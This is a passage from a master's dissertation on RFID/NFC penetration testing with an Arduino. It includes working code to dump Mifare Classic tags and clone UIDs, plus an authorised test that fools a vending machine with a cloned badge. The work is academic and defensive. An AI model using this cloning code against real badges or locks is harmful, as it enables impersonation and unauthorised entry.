added to the code. To use the functionality that is provided on the RC522 module, using the
official RC522 Library, a new instance is created and used. In addition, the default Mifare
Classic keys are loaded and stored, so that they can later be used to access all sectors and data.
MFRC522 unbrick(SS_1_PIN, RST_PIN);// Unbrick instance
Since all information and the entire data dump is processed through the Serial Monitor, it needs
to be correctly setup and initialised. The serial communication and SPI bus are initialised, and
the monitoring baud rate is set to 9600. This provides an adequate environment, where the
input refresh rate is at an optimal speed, where all new information is captured, without too
much power consumption.
77
/** Initialise Serial and SPI Bus */Serial.begin(9600); // Start listening on esrial at baud 9600while (!Serial); // If no serial opened - nothingSPI.begin(); // start spi
6.4.2 HF Information Dumping & Displaying to LCD/Serial Monitor Logic
This attack, needs the system to be plugged into a computer, and needs the Arduino Serial
Monitor to be active. This is simply due to the mass amount of data that is extracted from the
Data Dump. The information of all sectors is simply impossible to fit onto the LCD screen, and
since no on-board persistent memory system is in place, the only way to view and potentially
store a Data Dump, is through the Serial Monitor, on a PC.
This action corresponds to the Menu entry "HF-DumpInfo" and is the seventh in order, in the
list. Therefore, the action ran, when this entry is highlighted, is action7().
6.4.2.1 action7() Method
This method encapsulated the logic behind reading all Sections in a tag, using the RC522 library,
along with some clear instructions and information shown on the LCD and the Serial Monitor.
The result of this operation is shown under the Serial Monitor.
Firstly, the LCD is cleared in preparation of the output that follows.
/** Dump Block Information */void action7() lcd.clear();
A message is then displayed on the LCD, indicating to the user that the System should be
connected to a PC for this action. This is to access the Serial Monitor and view the output sent
to that. A similar prompt is also displayed on the Serial Monitor, to let the user know that the
System is ready to receive input.
//Present Message to connect to PC for Serial Monitorlcd.print("CONNECT PC FOR");lcd.setCursor(0,1);lcd.print("FULL DATA DUMP");delay(2000);
// Show RFID Reader Module Details
78
unbrick.PCD_DumpVersionToSerial();//Present Serial Monitor Scan PromptSerial.println(F("Present HF RFID to dump UID, SAK, type, and data blocks..."));lcd.clear();
Once the prompt is shown, the System enters a state that continuously waits for a tag to be
presented so that it can read it. The LCD displays a "Present HF:" prompt, in the meantime.
Once a tag is detected, the loop breaks, the stream of information sent to the reader is captured
and displayed on the Serial Monitor.
//Show Present Message on LCD until a tag is presentedwhile(! unbrick.PICC_IsNewCardPresent())
lcd.setCursor(0,0);lcd.print("Present HF:"); // Presenting Message printed to LCD
// Select one of the cardsif ( ! unbrick.PICC_ReadCardSerial())
return;
// Dump debug info about the card; PICC_HaltA() is automatically calledlcd.clear();lcd.print("OUTPUT ON");lcd.setCursor(0,1);lcd.print("SERIAL MONITOR");unbrick.PICC_DumpToSerial(&(unbrick.uid));
6.5 HF RFID - UID Cloning
This HF attack, is the cloning and impersonation of the Unique Identifier. For this action,
the same connections and schematics are used, as section 6.2, shown under Appendix C, under
Figure C.2.
As explained above, Sector 0 writeable tags allow for manual setting of the Unique Identifier.
These tags can be used, in conjunction with this attack, to impersonate the UID of victim tags.
In the case where the NFC tag is used for identification, like in an enterprise setting, where
employees badge-in to gain access, this attack could be used to impersonate a victim tag.
79
6.5.1 Pre-Requisite Set-Up
Exactly as with previous sections, the same pre-requisites are used to initiate a RC522 instance
and load all functionalities. In addition, the Serial monitor is initialised and set-up, exactly as
with previous attacks.
6.5.2 HF Unique Identifier Reading & Cloning
This attack, receives a victim tag as a source, reads and temporarily stores the Unique Identifier,
and then triggers a write event on the source tag’s Sector 0 block.
This action corresponds to the Menu entry "HF-Clone UID" and is the fifth in order, in the list.
Therefore, the action ran, when this entry is highlighted is action5().
6.5.2.1 action5() Method
This method encapsulates the logic behind reading the victim HF tag, using the RC522 module,
and then cloning it onto a destination Sector-0 writeable tag, along with some clear instruction
on the LCD and the Serial Monitor.
Firstly the RC522 module is initialised, and the first prompts are shown on the Serial Monitor
and the LCD. The Serial Monitor is set to display the "Present Source HF tag..." message, while
the LCD shows a "Present SRC HF:" prompt, and awaits for input, for three seconds.
void action5() //Initiate Instanceunbrick.PCD_Init();
Serial.println(F("Present Source HF tag..."));lcd.clear();lcd.print("Present SRC HF:"); // Presenting Message printed to LCDdelay(3000);
Once the above prompts are shown, the System enters a loop state that waits for a Source tag to
be presented, for three seconds. Once a tag is presented, the PICC type is checked and is only
read if the presented tag is Mifare Classic. If the wrong PICC type is presented, an appropriate
Serial Monitor, and LCD prompt is shown, while if the correct PICC type is presented, the UID
is read and stored in a local byte array.
80
/** If Card is Presented */if (unbrick.PICC_IsNewCardPresent() && unbrick.PICC_ReadCardSerial())
// Check if PICC type is Mifare ClassicMFRC522::PICC_Type piccType = unbrick.PICC_GetType(unbrick.uid.sak);// When PICC type is not mifare classicif (piccType != MFRC522::PICC_TYPE_MIFARE_MINI &&piccType != MFRC522::PICC_TYPE_MIFARE_4K &&piccType != MFRC522::PICC_TYPE_MIFARE_1K )
Serial.println(F("HF tag Presented is not of type MIFARE Classic."));lcd.clear();lcd.print("INCOMPATIBLE");lcd.setCursor(0,1);lcd.print("PICC TYPE");delay(3000);
else
// Read UID and Storefor (byte i = 0; i < 4; i++) uidPICC[i] = unbrick.uid.uidByte[i];
The System then asks for the Destination tag and displays the appropriate Serial Monitor and
LCD prompts. As soon as the destination tag is presented, the local array is used to create the
Unique Identifier and set it to the Destination Sector 0 block. Once the write procedure is over,
the RC522 module is halted and the cryptographic element is stopped.
// Present Destination HF PromptSerial.println(F("Present Destination HF tag..."));lcd.clear();lcd.print("Present DST HF:"); // Presenting Message printed to LCDSerial.println(F("Warning! Destination Tag UID will be overwritten."));delay(5000);//Write to DST tagbyte newUid[] = uidPICC[0], uidPICC[1], uidPICC[2], uidPICC[3];if ( unbrick.MIFARE_SetUid(newUid, (byte)4, true) )
Serial.println("UID cloned to Desitnation HF tag.");lcd.clear();lcd.print("SUCCESS!"); // Presenting Message printed to LCDdelay(3000);
else
Serial.println("UID cloning Failed.");lcd.clear();lcd.print("FAILED!"); // Presenting Message printed to LCDdelay(3000);
unbrick.PICC_HaltA();unbrick.PCD_StopCrypto1();
81
82
Chapter 7
Results/Evaluation
7.1 125KHz RFID Lock
The lock used to test the 125KHz spoofing functionality is shown under Figure 7.1. It is a
simple, battery operated RFID lock that operates on the 125KHz LF spectrum.
(a) 125KHz RFID Lock
Figure 7.1: Picture of 125KHz RFID Lock
83
Once operational, the lock unlatches when presented with any of a number of pre-registered
125KHz tags, that operate as Guest Tags. These tags do not have any other authority other
than simply unlatching the lock, which self resets after a couple of seconds.
In addition, the device also responds to a pre-programmed 125KHz RFID Card, which acts as
the Master Card. This allows for a "Programmer Mode" that offers registering and forgetting
RFID Guest tags.
The whole system can be reset through a hardware button that is hidden. When used as
intended, the switch is on the back side, which is screwed against the wall. Accessing this reset
button requires that the device be unscrewed from the wall/door.
Resetting the system allows for both a Master and Guest media to be programmed, but only
one Master card can be operational at any time.
Under the default state, the Master Card carries a UID: 000628404, in Decimal, while the two
operational Guest Tags carry UIDs: 0014573129 and 0013328202.
7.1.1 Restricted due to COVID-19
Due to limitation and difficulties introduced due to COVID-19, this aspect was not able to be
implemented and tested. This is explained further in the corresponding section below.
7.2 Testing Functionality
The following section will extensively test the individual functionalities of the finished Arduino
Implementation. The following sections reflect the options of attacks that a user is able to select
under the main menu.
For testing functionalities that involve using 13.56MHz media, with non-writeable Sector 0, a
Mifare Classic card with the following detail will be used:
• Type: Mifare Classic 1K
• UID (Hex): 62 6F E7 77
• UID (Decimal): 1651500919
84
7.2.1 HF - Read UID
This attack option must be able to read and display the Unique Identifier of 13.56MHz RFID
media. When the option is selected, the user must first be presented with the text "Present
HF:", indicating that the system is waiting for a HF 13.56MHz card or tag to be presented.
Once that is presented, the LCD Screen must then display the text "Card UID: " followed by
the Unique Identifier, in Hexadecimal, on the next line.
Depending on the technology and standard, UIDs can be 4 or 7 digits long. In the case that the
UID is 4 hexadecimal digits long, it should be displayed on the screen with a space in between
hex digits, to provide more clarity. In the case where it is 7 digits long, this space is not used,
so that all characters fit on the screen.
If the Arduino System is connected to a computer, and the Serial output is monitored through
the Arduino IDE, the system should provide more detailed information, including the UID but
also additional information such as the RFID media and PICC type.
7.2.1.1 Waiting Screen
The Arduino is first turned on, and using the navigation button, the appropriate option is
reached. When selecting the "HF-Read UID" option, the user must be greeted with a waiting
screen, indicating "Present HF:" on the 16x02 LCD. The correct waiting screen is shown, as
indicated under Figure D.1.
7.2.1.2 13.56MHz Card UID Reading
When presenting the 13.56MHz card, the correct hexadecimal UID must be shown and displayed
on the 16x02 LCD display, with a space between each HEX character, for clarity. This is correct,
as indicated under Figure D.2, giving the expected hexadecimal output "62 6F E7 77".
7.2.1.3 13.56MHz Serial Monitor Output
When viewing the Serial Monitor output in the Arduino IDE, more detailed information must
be given. Specifically, the PICC type must of the RFID media must also be displayed, showing
the type of media presented, along with the media Unique Identifier. The expected UID and
85
PICC type are shown, as indicated under Figure D.3.
Since the serial monitor reads and displays information as it comes in, the UID is displayed
backwards. The card sends the UID bytes in the order 1,2,3,4, so the serial outputs the bytes
in the order 4,3,2,1. To avoid confusion, this is clearly indicated.
7.2.1.4 7-byte Long UID Reading
UIDs are often made up of 4-byte long HEX values, but in some cases the UID is 7-bytes long
for some media. This reader should be able to read both types of media and display the content
appropriately for both cases. Since the 7-byte long UIDs would not fit if a space was also added
between the bytes, for 7-byte long UIDs, these spaces are not added. To validate this, the card
used was my University Card, shown under Figure D.4. As expected, the full 7-byte long UID
was shown, without spaces in between to fit the entire UID on the LCD.
7.2.1.5 HF UID Reading - Validation
To validate that the UID scanned is the correct one, the value is double checked using 10-Band
RFID Reader/Copier. This is extremely important as it validates that the code written is correct
and is able to correctly read the byte stream sent to the reader from Sector 0 and translate it
correctly to the UID. The 10-Band RFID reader is used to validate, as it is a commercial tool.
As indicated under Figure D.5, the expected Decimal UID is shown, which translates to the
HEX value given on the Arduino System, validating that the reading and decoding process is
correct.
7.2.1.6 HF UID Reading - Media Compatibility
The Reader is in fact, able to read all 13.56MHz media appropriately and to ensure the wide
range that it is able read, a number of different 13.56MHz media, used in vastly different ways,
is scanned. These media include a 13.56MHz tag, a Contactless Credit Card, an Electronic
Passport, an iPhone and an Android phone. These are shown under Appendix D, under Fig-
ure D.6, Figure D.7, Figure D.8, Figure D.9, and Figure D.10. All items used are my own and
all personally identifiable information has been hidden.
86
7.2.2 HF - Clone UID
This attack/utility option must be able to clone the Sector 0 block from a Source tag to an
appropriate Sector 0 writeable destination tag. When the option is selected, the user must first
be presented with a prompt to present the source RFID tag, on both the Serial Monitor and the
LCD screen.
Once the Source tag is presented, a PICC type check must be performed, rejecting any other
type of RFID tag, other than Mifare Classic. The appropriate prompt must be shown, if the
wrong type of RFID tag is presented.
If the correct Source tag is presented, the script must move on to the writing tag, and show the
appropriate prompt, for the destination tag to be presented, both on the Serial Monitor and the
LCD screen.
Once the Destination tag is presented, the stored source UID must be written to Sector 0 and
the appropriate prompt must be showed upon success or failure.
7.2.2.1 Prompt & Waiting Screen
The Arduino is firstly turned on, and the appropriate Menu Entry "HF-Clone UID" is selected.
Once the select button is pressed a clear prompt "Present SRC HF:" is shown on the LCD
screen and the message "Present Source HF tag..." is shown on the Serial Monitor. The correct
prompts are shown, and indicated under Figure E.1 and Figure E.6.
Then, the destination tag prompt is shown, "Present DST HF:", on the LCD and the message
"Present Destination HF tag..." on the Serial Monitor. The correct prompts are shown and
indicated under Figure E.2 and Figure E.6.
When the PICC type is not Mifare Classic 1K, the appropriate "Incompatible" prompts are
shown, as indicated under Figure E.5 and Figure E.8.
Finally, the "SUCCESS!" or "FAILED" LCD prompts are shown appropriately, along with
their corresponding Serial Monitor notice, shown under Figure E.4, Figure E.3, Figure E.6 and
Figure E.7.
87
7.2.2.2 UID Cloning
A Mifare Classic Source Card is presented, with the UID "62 6F E7 77", in HEX. This source
UID is stored locally and is written on the Destination Tag’s Sector 0 block. This is verified in
the end, when a RFID multi-reader is used to read both the source and destination tags, that
had the same UID (1651500919 in Decimal) as shown under Figure E.9 and Figure E.10.
7.2.3 HF - Reset MC
This attack/utility option must be able to reset the Sector 0 block of an appropriate re-writeable
RFID tag, and set the Unique Identifier to the HEX value [04 03 02 01], which corresponds to
the Decimal value [0067305985]. When the option is selected, the user must first be presented
with the warning text "WARNING! UID WILL BE RESET", followed by a prompt to present
the RFID media, "Present HF:", on the LCD display.
Once a Sector 0 Writeable RFID tag is presented, the Sector 0 should be accessed and the
UID should be set to the appropriate HEX value. Once that is complete an appropriate suc-
cess message "Reset Successful!", should be displayed on the LCD display, or "Reset Failed."
accordingly.
If the Arduino System is connected to a computer, and the Serial Output is monitored through
the Arduino IDE, the system should provide the warning "Warning: UID will be reset!" and the
prompt "Present Media to be Reset:", as well as the appropriate prompts on success or failure,
where the message "Sector 0 cleared" is shown, followed by "UID set to 04 03 02 01" on success,
and "Sector 0 NOT cleared", followed by "Failure" on a failed attempt.
7.2.3.1 Warning & Waiting Screen
The Arduino is first turned on, and using the navigation button, the appropriate option is
reached. When selecting the "HF-Reset MC" option, the user must be greeted with a clear
warning "WARNING! UID WILL BE RESET" message, followed by the waiting screen "Present
HF:" on the 16x02 LCD. The correct prompts are shown, as indicated under Figure F.1 and
Figure F.2.
The appropriate warning and waiting prompt is also shown on the Serial Monitor, as shown
under Figure F.3
88
7.2.3.2 Sector 0 UID Resetting
To test this functionality, a Sector 0 writeable RFID tag will be manually set to have the UID
of "11 11 11 11" in HEX. This is done using the 10-Band RFID Reader/Writer.
The manually set RFID tag is firstly Read, using the "HF-Read UID" functionality, and it is
verified that the UID has been set to the HEX value "11 11 11 11", as shown under Figure F.4.
The same tag is then reset using the "HF-Reset MC" functionality, which again, succeeds, as
shown under Figure F.5.
This is further verified by reading the UID of the same tag again. As shown under Figure F.6,
the UID has been reset to "04 03 02 01".
7.2.4 HF - DumpInfo
This attack/utility option must be able to display the entire contents of a HF RFID tag to the
Serial Monitor. This information includes the PICC type, the Card UID and SAK, as well as
the entire contents of all Sectors present on the tag, and it’s corresponding Access Bits.
Once a compatible card, with a non-encrypted data store is presented, all of the information
above must be displayed.
7.2.4.1 Prompt & Waiting Screen
The Arduino is firstly turned on and connected to a PC with the Arduino IDE running and
the Serial Monitor Active. The appropriate action is the selected using the navigation buttons.
When the "HF-DumpInfo" option is firstly selected, a clear prompt "CONNECT PC FOR FULL
DATA DUMP" is shown, followed by the waiting screen "Present HF:". The Serial Monitor also
indicates that it is ready to receive input by showing the message "Present HF RFID to dump
UID, SAK, type, and data blocks...". The correct prompts are shown, and indicated under
Figure G.1, Figure G.3 and Figure G.4.
7.2.4.2 Mifare Classic Data Dump
Once an appropriate HF tag is presented, the data dump occurs. In this case, a Mifare Classic
1K card is presented, as soon as the "Present HF:" prompt is shown. When viewing the Serial
89
Monitor, it is confirmed that all tag specifications, the entire contents of all Sectors, and their
corresponding Access Bits are shown, as expected. This can be confirmed under Figure G.5. In
addition, while the output is generated on the Serial Monitor, an appropriate message is shown
on the LCD display "OUTPUT ON SERIAL MONITOR". This is confirmed under Figure G.2.
7.3 Testing/Exploiting RFID vulnerabilities w/ video - How these
functionalities can turn into Attacks
This section will test the various functionalities and explain how these are possible through
RFID vulnerabilities. Videos will also be created to show the entire process of the function
shown, and also double as a form of testing and confirmation.
7.3.1 Reading Unique Identifier - Read attack
The first functionality reads Sector 0 of any HF media and shows it on the LCD screen or the
Serial Output. This is possible due to the vulnerability that Sector 0 is stored in a non-encrypted
state. Therefore a simple capture attack, where the tag output stream is captured and decoded
is easily able to be performed.
This attack can be used to provide valuable insights and shows data that is normally hidden. It
can even act as a mediation attack or as a basis for other attacks.
The video below shows how the UID of a Mifare Classic 1K card is read by this implementation.
Read UID Functionality Video (LINK)
7.3.2 Cloning Unique Identifier - Impersonation Attack
This functionality reads Sector 0 of a Source HF card and is able to write it to a Destination HF
tag. This is able to be done, due to the fact that some Mifare Classic 1K tags have a writeable
Sector 0. This vulnerability, is exploited here so that a read-only Sector 0 can be impersonated
on a destination Tag that is writeable. One more advantage taken over this vulnerability is
that only one writeable HF tag is needed to impersonate a whole lot of other tags, as it can be
written over and over infinitely.
This can be used to perform an impersonation attack, where a malicious entity clones the victim
90
tag and becomes an imposter. One can then potentially gain access to physical or virtual places,
or do malicious actions while pretending to be someone else, for example.
The video below shows how the UID of a read-only Mifare Classic 1K is impersonated on a
writeable tag. Clone UID Functionality Video (LINK)
7.3.3 Resetting UID - Denial of Service Attack
This functionality resets Sector 0 of a writeable Mifare Classic 1K tag. This is often needed if
the card is bricked, or stops working suddenly due to some error. A 04 03 02 01 block is written
on the destination Sector 0. This again takes advantage of the vulnerability of some tags having
a writeable Sector 0.
This can be used to perform a Denial of Service attack, where the victim’s HF tag is reset and
can not longer be used for its intended purpose. Therefore, disrupting the task at hand and
providing DoS.
The video below shows how the UID of a writeable tag can be reset. Reset MC Functionality
Video (LINK)
7.3.4 Dumping all Information - Read Attack
This functionality dumps all data, housed in all sections on an HF tag. This exposes all data
that is written on the tag, through its entirety, no matter the size and the amount of sections.
It captures the entire data stream output by the tag, decodes it and displays it in a meaningful
manner. This is able to be done, again due to the vulnerability of some HF tags storing their
data in a non-encrypted manner.
This can again be used as a mediation attack to then perform other more serious attacks, like
an impersonation attack, or even a man-in-the-middle attack.
The video below shows how all Sectors of a HF tag can be read. Dump Info Functionality Video
(LINK)
91
7.4 Exploiting Automatic Vending Coffee Machine - PenTesting
Field Test
As mentioned above, the final test to verify that all intended functionality is achieved, was to
exploit the Automated Coffee Vending Machine at Kosmos Bakeries LTD.
A dummy employee entry was created and an NFC employee card was issued, in the exact same
manner as for a new employee, without any printing on it, as it would then be immediately
discarded after this test.
A full video of the entire procedure can be found here (LINK). As shown, the entire procedure,
including reading, cloning, verifying and exploiting the machine takes less than 5 minutes, does
not require a computer attached and can be completely mobile.
The vulnerabilities exploited here include the fact that the machine only checks the card UID,
and whether that is within it’s database of allowed UIDs, without any other further checks
or two-factor authentication, and the fact that Mifare Classic 1K cards are used, that do not
provide any form of encryption. This was exploited by impersonating the employee card and
cloning it onto a blank, programmable HF tag. This impersonation tag can then be used to
exploit the vending machine, potentially in such a manner that the owner or employee are
completely unaware that their legitimate card has been cloned. This type of attack can be
used in a variety of other uses, like gaining entry into restricted areas, logging into systems,
impersonating Contactless Credit Cards, Electronic Passports and other similar uses.
Based on the finding of this Penetration Test, a recommendation was given to the Company to
immediately discard all Mifare Classic 1K cards and switch to the more secure Mifare DESfire
cards, that provide 3DES encryption. This solution is very easy and cheap to implement but
could potentially save against a big attack, either by mass machine exploitation at all available
shops, or by a malicious entity gaining access to restricted areas or systems.
The first step shown, was to read the employee badge, and check the Unique Identifier, which
as shown under Figure 7.2, is [99 C7 F8 B] in HEX.
Next, the legitimate employee badge was impersonated, and the legitimate UID was cloned
onto a Sector 0 programmable HF tag. As shown under Figure 7.3, the UID was impersonated
successfully.
92
Finally, the malicious HF tag, impersonating the legitimate employee badge was successfully
used to exploit the Automated Vending Machine. The Machine was unable to detect any issue,
and was unable to differentiate between the two tags. As shown under Figure 7.4, the Vending
Machine has accepted the malicious tag, resulting in a successful impersonation attack.
This was a successful attack and verifies both the functionality and the overall concept. Through
the use of Echo RFID, an impersonation/spoofing attack was able to be performed successfully,
information was able to be gathered about the victim RFID tag, and the Penetration Testing
Aspect was also successful, as the company was able to improve after the attack, increase their
security and avoid any real potential attacks.
(a) Reading Employee UID
Figure 7.2: Reading Employee UID
93
(a) Cloning Employee UID
Figure 7.3: Cloning Employee UID
(a) Exploiting Vending Machine
Figure 7.4: Successful Impersonation Attack
94
Chapter 8
Statement of Ethics
The following section outlines the various ethical concerns regarding this dissertation. The
SAGE Report, as approved by my supervisor, can be found under Appendix A.
8.1 GDPR Compliance
No personal data was needed or held during any stages of this dissertation. Especially during the
NFC testing stage, for exploiting the vulnerabilities of the RFID vending machine. A disposable
employee badge was created for my purpose with bogus data that still retained full functionality.
This was then used to prove that using non-encrypted, and older technology Mifare Classic 1K
cards could result in a potential breach, in the case of one being lost or stolen.
8.2 Addressing Ethical Concerns
As is only natural, one would ask, "Can’t this also be used for unethical hacking". And the
short answer would be, possibly. But hacking solutions are already available and I am not adding
value to the unethical use of exploiting RFID vulnerabilities but to the completely ethical and
safe one.
This research and implementation provides information and insights on the workings of RFID,
it’s limitations and exploits, and through that solutions can be created to overcome these faults
and build a better, more secure technology.
95
This research and implementation is purely academic and is not intended to be in any way
unethical, but rather aims to provide new insights and provide aid in securing RFID for the
future.
The very act of penetration testing is an ethical way of discovering faults and then implementing
procedures to fix them. Through this dissertation and the implementation it offers, penetration
testers can more easily perform their tasks, and thus find these vulnerabilities more efficiently,
and possibly patch them faster. It could even be argued that this implementation would even
aid them in discovering new vulnerabilities and properly documenting those, for future fixes.
Overall, it provides a safer environment, rather than an unethical one.
96
Chapter 9
COVID-19 & The Impact it had on
Low Frequency Functionality
Implementation
Under this section, the impact that COVID-19 had in one aspect of this Dissertation will be
explained.
9.1 Background
To begin explaining what happened, one must first remember that in order for the Low Frequency
functionalities to take place, a custom 125KHz antenna had to be made from scratch, at an
inductance of 150-162 uH, since no reliable, or readily available solutions exist any more for
Arduino that both read and write to LF RFID media. This absence of commercial products
is mostly caused due to the evolution of RFID and the LF spectrum not being used so much
today, giving way to HF implementations which are more secure and can be used on a broader
spectrum of implementations.
9.2 Explanation & Evidence
It must then be noted that due to the pandemic, and the unclear evolution of events that took
place, as instructed by the university, I, along with a majority of other overseas students, had
97
to leave the UK and return to my home country, Cyprus, while the airports were still operating,
and before my flat lease expired, in July (Evidence of which can be found under Appendix H,
section H.1. Please note that any personal or private information has been redacted), potentially
leaving me stranded and homeless in the UK.
As explained above, in order to fabricate the LF antenna, a number of specialised components
needed to be purchased. Due to the lock-down, both in the UK, and in Cyprus, which is still
partly in effect, I was unable to purchase these products. Since these are non-essential, I could
not buy them from any store in Cyprus, as only essential stores remained operational, but I
could also not get them shipped from overseas in time, due to the post office shutting down all
operations, and when it finally started operating, such a backlog was created that orders could
take months to be delivered, even if they arrived from overseas in time.
Evidence to support the closing down of all non-essential stores in Cyprus, including all elec-
tronics and hobby stores, as early as March 2020, can be found under this In-Cyprus article
(Koumettou 2020). A snippet showing that all non-essential shops were to cease their business
immediately, including delivery, in some cases, is also appended under Appendix H Section H.2
and can be found under Figure H.1.
Evidence to support the closing down of Cyprus Post, in both accepting and sending packages
to many countries, including the UK and US, in the beginning of March 2020, can be found
under this In-Cyprus article (Hadjioannou 2020). A snippet indicating that all post operations
were to stop immediately is also appended under Appendix H Section H.3 and can be found
under Figure H.2.
Evidence to support that ordering online and importing overseas was not feasible is shown under
Figure H.3. As shown, ordering from Amazon UK, showed an expected delivery date that would
make it unfeasible to receive the products, fabricate the antenna, code, test, experiment and
implement in a realistically timely manner. This can be found under Appendix H, section H.4.
Therefore, since I was completely unable to obtain any of the required components to build the
LF antenna, I was completely unable to code/test any LF functionality.
98
Chapter 10
Conclusion
10.1 Lessons Learned
This section outlines the values that have been gained from this Dissertation and my own
personal growth.
10.1.1 Issues & Overcoming Them
This section outlines and explains the various issues and shortcomings that have come up during
the implementation and the actions taken to mitigate or resolve them, along with what I have
learned through them.
10.1.1.1 125KHz Antenna
Once implementation begun, it was evident that no 125KHz reader/writer module or hardware
was available commercially any more. This is mainly due to the fact that 125KHz media has
been stabilized and in the majority of use cases, the commercial solutions sold, such as entry
and access control hardware, already have some built-in solution to authorizing new tags/cards.
This has slowly made it less and less popular for developers to have such 125KHz antennas for
Arduino.
To solve this issue a solution must be made from scratch. A manual antenna must be built from
scratch, using the following specialised electronic components:
99
• Enameled Copper Wire (>5m Length, 30 AWG thickness)
• 0.01 uF Capacitor
• 10 KOhm Resistor
To build the antenna, a final coil must be created that outputs an inductance of about 150-162
uH. This can be achieved by creating a coil of 5cm Diameter, using 30 Gauge (AWG) wire,
and twisting it for 46 turns. The turns need to be as close as possible to each-other without
overlapping. This is extremely difficult, as a custom 5cm tube must be found or created to
create the antenna. In addition, any disruption or imperfection in the wire, or even missing a
turn or two would be enough to knock the inductance out of the needed range, and render it
useless.
10.1.1.2 Bug Identified in RC522 13.56MHz Reader/Writer Library
After implementing the first attack of Reading HF UIDs on 13.56MHz. Bugs in Library used
- UID read as it comes in and displayed in that order. Card sends UID in the order 1,2,3,4,
but the reader receives the signal in the order 4,3,2,1. The library displayed the UID in this
reverse order. Logic had to be put in place to collect the data as it came in and once complete,
reverse the order when displaying.
This was resolved by storing the data as it came in, in a temporary buffer and then displaying
the contents of the buffer from last to first. The size of the buffer is dynamically allocated to
ensure that both 4-byte and 7-byte long UIDs are collected.
This has taught me that not all software is without its bugs, and that best practise would be to
go through all code handled, specifically looking for bugs, before implementing.
10.1.1.3 16x02 LCD - I2C Wiring
After scheduling how the components should be connected and determining the wiring schedule,
it was evident that it would be impossible to use a normal 16x02 LCD module along with the
13.56MHz RFID Reader/Writer. This is because they both use a number of the same input
pins.
To solve this issue, an I2C LCD 16x02 module was used, that has the majority of connections
100
already on board, through the I2C module. The only connections come from the output pins of
the Arduino, allowing the RFID module to connect to the input pins, unobstructed.
This has taught me to always look for creative solutions, even when things seem impossible. A
solution is always available to any problem. In the majority of cases, someone else has already
had that same problem and developed a solution, you just have to research and find it, or even
be the one that builds it.
10.2 Closing Remarks
To conclude, the overall Dissertation topic and the Research performed were very interesting
to me, as RFID and PenTesting are the main topics that I would like to keep pursuing, into
Industry. I have done all research and implementation with a vast willingness to learn as much
as possible and extend my skills as best as I can. I was very self-motivated to produce a final
result that represents the best of my abilities and I have always adhered to the deadlines that
me and my supervisor had set during this Dissertation.
I do believe that my research will bring a positive impact, in some way, shape, or form, and it
will be yet another form of increasing awareness to the vulnerabilities of RFID. I believe that it
is yet another stepping stone in aiding people and professionals in using more secure processes
when considering anything RFID and being aware of potential risks.
To close, I would also like to express that this Dissertation has also helped me gain a deep
understanding of how RFID works and how these vulnerabilities have risen and are exploited,
even today. It has provided me with valuable knowledge on how to secure RFID implementations
and overcome any such inherent shortcomings. Valuable lessons were also gained, through all
my research, which will surely be a big help later on, in Industry.
101
Appendix A
SAGE Ethics Report
Attached in the next pages is the output of the completed SAGE Report that has been verified
by my Supervisor, Dr. Ioana Boureanu.
102
1/9
SAGE
ResponseID Completiondate
514292-514283-54581227 31Jan2020,14:25(GMT)
1 ApplicantName StylianosKiliaris
1.a UniversityofSurreyemailaddress
1.b Levelofresearch PostgraduateTaught(Masters)
1.b.i PleaseenteryourUniversityofSurreysupervisor'sname.(Ifyouhavemorethanonesupervisor,enterthedetailsofthesupervisorwhowillcheckthissubmission).
IoanaBoureanu
1.b.ii Pleaseenteryoursupervisor'sUniversityofSurreyemailaddress.(ifyouhavemorethanonesupervisor,enterthedetailsofthesupervisorwhowillcheckthissubmission)
1.c SchoolorDepartment ComputerScience
2/9
2 Projecttitle EXPLOITINGNFCANDRFIDVULNERABILITIESINAPENETRATIONTESTINGENVIRONMENTUSINGARDUINO
3 ForUndergraduateandMastersstudents,willyourstudentresearchprojectbeconductedaccordingtoafacultystandardstudyprotocol?Yourmoduleleadorsupervisorcanadviseifyouareunsure.
NotApplicableasthisprojectisnotanundergraduateorMastersstudentresearchproject
4 AreyoumakinganamendmenttoaprojectwithacurrentUniversityofSurrey/NHSREC/otherfavourableethicalopinioninplace?
NO
5 Doesyourresearchinvolveanyanimals,animaldataoranimalderivedtissue,includingcelllines?
NO
6 Thisquestionisdeliberatelyleftblank.
Pleaseclickheretocontinue
3/9
7 Doesyourprojectinvolve*humanparticipants,theirdataand/oranyhumantissue?
NO
8 Doesyourfunder,collaboratororotherstakeholderrequireamandatoryethicsreview(e.g.InstitutionalReviewBoard(IRB)review)totakeplaceattheUniversityofSurrey?
NO
9 Doesyourprojectprocesspersonaldata1?Processingcoversanyactivityperformedwithpersonaldata,whetherdigitallyorusingotherformats,andincludescontacting,collecting,recording,organising,viewing,structuring,storing,adapting,transferring,altering,retrieving,consulting,marketing,using,disclosing,transmitting,communicating,disseminating,makingavailable,aligning,analysing,combining,restricting,erasing,archiving,destroying.
NO
4/9
10 Doesyourprojectrequiretheprocessingofspecialcategory2data?
NO
11 IfyouareanundergraduateorMastersstudent,areyouONLYusingnameandcontactdetailsforrecruitmentpurposes,andnootherpersonaldataisbeingcollectedaslistedinquestions9and10above?
YES
11.a Willyouadheretothesecurityrequirementssetoutinthe‘DataProtectionandSecurityforUndergraduateandPostgraduateTaughtStudents'Projects’.
YES
5/9
12 Doesyourprojectinvolveanytypeofhumantissue?ThisincludesHumanTissueAuthority(HTA)relevant,orirrelevanttissue(e.g.non-cellularsuchasplasmaorserum),anygeneticmaterial,samplesthathavebeenpreviouslycollected,samplesbeingcollecteddirectlyfromthedonororobtainedfromanotherresearcher,organisationorcommercialsource.
NO
13 Doesyourresearchinvolveexposureofparticipantstoanyhazardousmaterialse.g.chemicals,pathogens,biologicalagentsordoesitinvolveanyactivitiesorlocationsthatmayposeariskofharmtotheresearcherorparticipant?
NO
6/9
14 Willyoubeaccessinganyorganisations,facilitiesorareasthatmayrequirepriorpermission?Thisincludesorganisationssuchasschools(Headteacherauthorisation),carehomes(managerpermission),militaryfacilitiesetc.Ifyouareunsure,pleasecontactRIGO.
YES(Youwillneedtoprovidegatekeeperapprovalbeforeyoucommenceyourresearch.Thismaybeanemailconfirmation,formalletterorotherdependingontheorganisation).
15 Willyoubeworkingwithanycollaboratorsorthirdpartiestodeliveranyaspectoftheresearchproject?
NO
16 Willyoubetravellingtonon-UKcountriesforanyofyourresearchactivities?
NO
17 WillanyresearchactivitiesbeconductedoutsideoftheUK?
YES
17.a Inwhichcountrieswilltheresearchactivitiestakeplace?
Cyprus
7/9
18 Doesyourresearchinvolveloneworking?
NO
